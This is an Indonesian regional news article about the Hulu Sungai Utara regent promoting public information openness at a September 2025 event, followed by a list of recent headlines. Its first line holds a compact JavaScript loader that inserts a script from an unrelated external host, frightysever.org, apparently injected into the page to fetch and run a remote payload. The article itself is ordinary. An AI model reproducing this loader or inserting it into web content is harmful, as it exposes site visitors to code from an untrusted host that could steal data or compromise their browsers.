(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Bupati HSU : Keterbukaan Informasi Publik Tingkatkan Kepercayaan Masyarakat


KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU), H Sahrujani menilai penting keterbukaan informasi publik dalam rangka meningkatkan kepercayaan masyarakat terhadap pemerintah.

“Keterbukaan informasi memiliki arti penting bagi kita semua antara lain meningkatkan kepercayaan masyarakat kepada pemerintah, mendorong partisipasi publik dalam pembangunan daerah mewujudkan tata kelola pemerintah yang berlandaskan transparansi akuntabilitas dan responsibilitas,” kata Bupati Sahrujani saat membuka sosialisasi dan edukasi keterbukaan informasi publik, di aula Agung Setda HSU, Kamis (18/9/2025).

Bupati Sahrujani menyambut baik dan mengapresiasi kegiatan sosialisasi yang diselenggarakan oleh Dinas Komunikasi dan Informatika (Diskominfo) Provinsi Kalimantan Selatan bekerjasama dengan Diskominfosandi Kabupaten HSU ini.

Baca juga: Ini Tiga Nama Calon Sekda Banjarbaru, Menyusul Seleksi Kepala Dinas

“Sangat penting dalam rangka memberikan pemahaman terhadap pentingnya keterbukaan sekaligus pelayanan informasi bagi masyarakat dengan tetap mempertimbangkan peraturan yang berkaitan dengan keterbukaan informasi, karena yang kita pahami bahwa ada informasi yang memang boleh di-publish dan informasi yang dikecualikan untuk di-publish,” jelas Bupati Sahrujani.

Dia mengajak seluruh aparatur pemerintah daerah mulai dari tingkat kabupaten kecamatan dan desa agar benar-benar memahami dan melaksanakan Keterbukaan Informasi Publik ini dengan baik.

Sosialisasi bertujuan meningkatkan pemahaman peran dan tanggung jawab Pejabat Pengelola Informasi dan Dokumentasi (PPID) dalam pengelolaan keterbukaan informasi publik.

Baca juga: Pemkab HSU – BPS Jalin Kolaborasi Upaya Menekan Kemiskinan

Selain itu, kegiatan ini juga bertujuan memperkuat koordinasi antara PPID Utama dan Pelaksana, serta pemanfaatan teknologi informasi untuk mendukung pengelolaan informasi yang lebih efektif.

Ketua Komisi Informasi Kalsel, Ahmad Rijani mengatakan bahwa keterbukaan informasi merupakan ciri negara demokrasi yang menjunjung tinggi kedaulatan rakyat.

Oleh karena itu, setiap badan publik dituntut untuk lebih terbuka dengan pelaksanaan keterbukaan informasi yang berdampak secara internal maupun eksternal.

Dikatakannya bahwa landasan hukum untuk memperoleh informasi bagi masyarakat adalah Undang-Undang No 14 Tahun 2008 tentang Keterbukaan Informasi Publik. Undang-undang ini mewajibkan setiap badan publik membuka akses bagi pemohon informasi publik untuk mendapatkan informasi yang diinginkan.

Baca juga: Bupati Wiyatno Hadiri Wisuda Sarjana STAI Kuala Kapuas Angkatan XXVll

“Sedangkan Komisi Informasi adalah lembaga mandiri yang bertugas menjalankan Keterbukaan Informasi Publik. Adapun tugas dalam menjalankan fungsinya mengawasi akan jalannya undang-undang tersebut,” jelas Rijani.

Ia menambahkan, diantara tugas Komisi Informasi yaitu menyelesaikan sengketa yang terjadi apabila badan publik tidak bisa memberikan informasi kepada masyarakat sehingga adanya gugatan.

Kegiatan ini dihadiri oleh Ketua Komisi Informasi Provinsi Kalsel, Kasi Layanan Informasi Publik Diskominfo Prov Kalsel, Kepala Diskominfosandi Kabupaten HSU, Staf Ahli, pejabat SKPD, Camat, Kepala Desa, Ormas, LSM dan undangan lainnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Risa

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

6 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

20 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

22 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.